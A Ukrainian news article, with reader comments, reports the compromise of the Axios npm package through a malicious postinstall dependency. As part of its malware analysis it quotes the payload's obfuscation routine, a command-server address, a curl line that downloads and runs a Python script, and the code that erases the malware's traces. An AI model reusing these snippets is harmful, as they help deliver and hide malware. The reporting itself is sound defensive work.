Axios став жертвою атаки на ланцюг постачання

Тільки нещодавно відійшли від атаки на ланцюг постачання Litellm в PyPi, так сьогодні вночі хакери скомпрометували Axios — один із найпопулярніших HTTP-клієнтів у світі JavaScript, який завантажують понад 100 мільйонів разів на тиждень і майже скрізь використовують.

Дослідники виявили, що хакери змогли опублікувати заражені версії Axios прямо в npm, оминувши офіційний репозиторій на GitHub.

Як все відбувалося

Атака відбулася поза стандартним процесом публікації. Зазвичай Axios публікує теги релізів на GitHub одночасно з публікацією в npm. Але заражені версії [email protected] та [email protected] в офіційних тегах проєкту не з’явилися (останнім тегом був v1.14.0).

Розробники Axios спочатку навіть не могли повернути контроль над проєктом, бо зловмисник мав вищі права доступу, ніж вони самі. Все через те, що стався витік довгострокового токена npm, який використовувався паралельно з довіреними методами публікації.

Хронологія зараження:

  1. За 18 годин до атаки хтось із поштою [email protected] публікує пакет [email protected]. Це була копія легітимної бібліотеки crypto-js.
  2. 30 березня 2026 року о 23:59 UTC публікується шкідлива версія [email protected]. Автором вказано jasonsaayman.
  3. У найближчі 39 хвилин хакери публікують [email protected] та [email protected], єдина зміна в яких — це додавання цієї шкідливої залежності.

Будь-який проєкт, у якому стояли не суворі залежності (наприклад, ^1.14.0 або ^0.30.0), автоматично підтягнув би вірус при наступному npm install.

Ось схема того, як загалом працювала атака:

Що всередині plain-crypto-js

Згідно звіту дослідників, вірус працює через хук postinstall, що означає, що як тільки ви встановлюєте пакет, npm автоматично і непомітно запускає файл setup.js.

Щоб антивіруси не помітили підозрілих посилань чи команд, зловмисники використали кастомну дворівневу схему шифрування. Спочатку рядок перевертається задом наперед, символи _ замінюються на =, а потім усе декодується з Base64. А після цього кожен символ перекривається з цифрою з ключа OrDeR_7077 та константою 333.

const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0), a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};
const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};
const ord = "OrDeR_7077";

Скрипт перевіряє вашу операційну систему через os.platform() і завантажує відповідне навантаження з командного сервера хакерів: http://sfrclak[.]com:8000/. Також, як виявилося, то трафік маскувався під звернення до packages[.]npm[.]org, щоб обдурити системи моніторингу.

При запуску на MacOs, cкрипт AppleScript завантажує бінарник у /Library/Caches/com.apple.act.mond, а далі цей файл запускається у фоні. Троян збирає дані про систему, процеси та директорії і відправляє їх хакерам кожні 60 секунд.

При запуску з Windows, малваря знаходить powershell, копіює його і перейменовує на %PROGRAMDATA%\wt.exe. Потім VBScript непомітно завантажує .ps1 скрипт у теку %TEMP% і виконує його з прапорцем -ep bypass.

А в Linux все взагалі простіше нікуди. Там просто завантажується Python-скрипт, який виконується у фоні.

curl -o /tmp/ld.py -d packages[.]npm[.]org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &

Як тільки малваря закріплася в системі, вона знищує докази своєї присутності, щоб папка node_modules виглядала чистою.

fs.unlink(__filename, (x => {}));
fs.unlink("package.json", (x => {}));
fs.rename("package.md", "package.json", (x => {}));

Після цього пакет виглядає як звичайний, безпечний crypto-js. І як би ви там не дивилися, все одно не зрозумієте, що зловили троян.

Що тепер робити

Якщо ви використовуєте Axios, про всяк випадок, перевірте свої проєкти.

Шукайте у своїх залежностях та lock-файлах:

Так як скрипт викрадав системні дані, зловмисники могли легко дістатися до ваших SSH-ключів, конфігураційних файлів із вшитими паролями, токенів до хмар та інших критичних секретів.

Тому простого видалення зараженого пакета не буде достатньо. Якщо шкідливий скрипт встиг виконатися, то вам необхідно вважати всі локальні ключі, сертифікати та доступи скомпрометованими і відкликати їх та перевипустити.

Читайте також: Хакери вбудували викрадач паролів у популярну Python-бібліотеку litellm

Підписуйтеся на Telegram-канал «DOU #tech», щоб не пропустити нові технічні статті

👍ПодобаєтьсяСподобалось9
До обраногоВ обраному1
LinkedIn
Ctrl + Enter
Ctrl + Enter

Проблема:
Axios став жертвою атаки на ланцюг постачання

Причина:
Все через те, що стався витік довгострокового токена npm, який використовувався паралельно з довіреними методами публікації.

Причина за думкою комюніті ДОУ:
Так їх! Цих жабоскриптерів! Це вам карма за богомєрзку недомову що пхаєте в кожну дірку.

DOU ❤️

через те, що стався витік довгострокового токена npm

Токен там взагалі не при чому. На лептоп адміна npm пакета встановили RAT (соціальна інженерія, фейкове інтерв’ю), викрали сесію, змінили email npm акаунта (2FA це не присікла) і опублікували пакет напряму в npm без сигнатури підпису CI гітхаба. Ну і відповідно в північнокорейских любителів вініпуха був повний доступ і до github акаунта, але обмежилися затиранням ішью.

Таке враження, що npm вигадав Гейтс, щоб зрівняти шанси зараження для вінди і лінуксу :)

От і знову по лобі вдарила база «не встановлювати залежності без крайньої необхідності», наприклад в Node.js вже дуже давно існує нативний fetch

fetch існує не дуже давно, і це імплементація з браузера. На ноді справді існує http.Agent/ClientRequest, і от той дійсно дуже давно

Він існує з Node.js v18, яка вже встигла досягти завершення підтримки, тому я вважаю, що це давно. Це не імплементація з браузера, а імплементація, яка аналогічна тій, що у браузері. На ноді давно існує http.Agent/ClientRequest але у нього не зручне API

тому я вважаю, що це давно

Згоден, бо дивлюся з суб’єктивної точки зору часу, і «давно» там набагато старіше за 18 версію..

Це не імплементація з браузера, а імплементація, яка аналогічна тій, що у браузері

Теж згоден, бо в браузерному рушії це теж імплементація стандарту. Я мав на увазі, що саме для браузерів це робилося щоб позбавитися нарешті того дремучого xhr.

але у нього не зручне API

Ну...а що може бути зручним в мові де все на «потім», «обіцяю», «колись може буде»? Тау вже вийшло

Ну...а що може бути зручним в мові де все на «потім», «обіцяю», «колись може буде»? Тау вже вийшло

Як на мене тут справа не те що у мові, а більше у енвайронментах для цієї мови, наприклад той же fetch це ж не частина самого JS як мови. Ну і не зовсім погодужся в щодо того, що в JS щось довго тягнеться, навпаки, все росте досить швидко, особливо екосистема. Та і V8 це мабуть чи не найкращий інтерпретатор з існуючих)

Та і V8 це мабуть чи не найкращий інтерпретатор з існуючих

Тому я досі вибираю його для більшості задач.
Але я завжди бачив проблему трохи іншого спектру: сюди доволі часто приходять розробники з фронтеду,. А тут виявляється теж треба розуміти як будується серверна частина, що GC не має рівня «ванги», що існують threads зі своїми приколами, що по i/o можна вбити сервак навіть не розуміючи що трапилось, що async це ті ж самі проміси а проміси це не те що б неблокуючі операції, ну і тп. В одне рило щось пиляти це круто, але реальність така що робота ведеться як правило в команді.
Тому коли є питання вибору стека, то я враховую трохи ширше, щоб потім мати проблем трошки меньш

оо, так так, фронтендери на бекенді то страшне 😅 як і бекендери на фронтенді

Так, фетч є давно, тільки от за півтора роки кількість завантажень все одно виросла в 2 рази. В браузері давно покращили роботу з DOM, але чогось тягнуть реакти щоб три кнопки намалювати, бо воно всюди однаково працює і менше треба думати. Так і з Аксіосом, від якого хочуть щоб воно заводилось на будь-якому тостері і дуже дивуються, якщо на якомусь хитрому форку ноди з фреймворком нативних апок це не так.

Я бекендер, тому з точки зору браузеру мені якось складно відповідати. А от з аксіосом на бекенді це вже інше, про заводження на тостерах, це фронтендська штука)) на бекенді просто береш останню LTS версію Node.js і радієш життю, та і на бекенді ціна вразливості набагато вища ніж у браузері, бо бекенд працює з сікретами і має доступ до файлової системи, мережі і т.д.. Щодо хитрих форків ноди, ніразу не те що не бачив, а і не чув, що хтось таким страждає) ну хіба що чув про node-caged від Platformatic.

Ну так і на бекенді можна ще викинути нест з експресом і руками писати сервіс поверх http модуля- він давно є, 0 залежностей і в принципі щоб наліпити пару контролерів підходить, зате зіро депенденсіес, но перфоманс оверхед.
Як раз API браузерів стандартизовані, а от середовища node, bun, deno і всілякі схрещені мутанти щоб робити кросплатформені нативні апки офіційно ні. А ще ж там деякі поціновувачі запускають на espruino, тобто по суті embedded.

Бекенд фреймворки це не те саме, що фронтенд фреймворки від слова взагалі. На бекенді фреймворки не диктують написання коду на стільки, як вони це роблять на фронтенді, на беці в кінці кінців виходять та сама Layered Architecture і т.д., а те з яким стеком ви то зробите, то вже другорядно, коли на фронті кожен фреймворк це прям інший світ. Той самий Nest.js це фреймворк, який вже написали за вас, замість того, щоб ви пиляли точно такий самий, але власний, я щось сумніваюся, що на фронтенді можливо на проєкті написати свій фреймворк, який не буде поступатися умовному React чи Svelte враховуючи які там велосипеди під капотом.
Так, між браузерами спорідненості в JS більше, ніж між рантаймами на бекенді, але на бекенді вам не потрібно підтримувати більше одного рантайму, а на фронтенді треба кілька браузерів підтримувати, навіть кілька версій одного і того самого браузера))

кросплатформені нативні апки

Отут не зовсім зрозумів про що ви, нативна апка, це коли апка в бінарний код скомпільована, а JS він через віртуальну машину виконується. Я так розумію, ви про дексктопні апки, нативну апку на JS не напишеш))
JS в ембедеді, то якийсь крінж вже, як на мене)

Не згоден, якщо бек не opensource, хоча і в ньому бувають обмеження по env.
Нест теж не панацея, я б сказав навіть — зовсім.

Так а що міняє опенсорсність беку? Типу якщо допустим ми говоримо про якесь опенсорсне SaaS рішення, типу тут, так би мовити, вже проблема утопаючих чому вони користуються якимись старими версіями рантайму, або намагаються натягнути на Deno те що призначене для Node.js.
Нест не ідеальний, але чогось реально краще за нього для серйозних апок (не мікросервісів) я ще не бачив. Є звісно ось цей культ клепателів TODO апок, які далі них не мислять і думають, що можна вирішувати складні задачі простими методами) але їх там вже реальність розсудить

Я досі його тягну, а fetch встановлюю драйвером за замовчуванням. Але не як альтернативу, а як лібу яка дозволює не писати кастомний код який вже є готовий. І це зовсім не означає, що я робитиму теж саме якщо потрібен якийсь кастомний врапер на кілька рядків.

а нагадайте які плюси axios порівняно з fetch, бо я десь років 6 тому випилив його з проекту, додав додатковий врапер, і так більше і не встановлював цієї бібліотеки

пре-хуки (інтерсептори), простіша обробка помилок і тп. тоді ще фетч був у зародку

тоді це коли? кажу ж за 6 років щодного разу не згадував за необхідність в встановлені axios

А при переході між компаніями/командами всі будуть той врапер вивчати та допилювати? :)
Як забити на кросплатформеність, то upstream/downstream progress (включаючи ноду), додаткова мета інформація для прогресу (швидкість скачування, розрахунок залишкового часу), базова підтримка http2 для ноди (браузер це сам робить), bandwidth rate limiting (node), ретраї (поки тільки через плагін).

класна стаття, усе більше і більше атак спрямовані на бібліотеки незалежно від мови програмування.
з того що я бачу, мабуть має сенс прибрати усі ^ з package.json, щоб випадково не встановити небезпечну версію.

а уязвимости кто закрывать будет на старой версии, если отказываться от новых?

хороший поїнт, нова версія може принести як фікс старих багів так і нову вразливість як з axios. з цим треба обережно. не можу сказати, що видалити усі ^ найкраща ідея, але з кожним днем все більше і більше атак саме на бібліотеки і треба балансувати між цими.
можливо ви знаєте яка найкраща стратегія в цій ситуації?

простого решения нет, базовый минимум сделать все то, что делают секопсы, это хотя бы отсеет самые всратые атаки

Достатньо не юзати latest/*/^, і оновлювати руками з переглядом всіх змін. Так, це займає час, і точно не джуна.

з переглядом всіх змін

Це ви ще не зіткнулись з таким явищем як «coding agent».

Ще й як зтикався, бо розгрібав лайно після нього і його «помічника».

Так їх! Цих жабоскриптерів! Це вам карма за богомєрзку недомову що пхаєте в кожну дірку.

Це вам карма за богомєрзку недомову що пхаєте в кожну дірку.

ПТСР? 😄

Після js не те що птср, а взагалі шизофренію можна зловити

достаточно кучи прог для десктопа — postman, slack, teams, atom, vscode и еще сотня подобных, внутри каждого хром с лапшой из js

достатньо тімс, постман, слак і іще купу лайна в котром браузер в браузері що рендерети одну кнопку

Підписатись на коментарі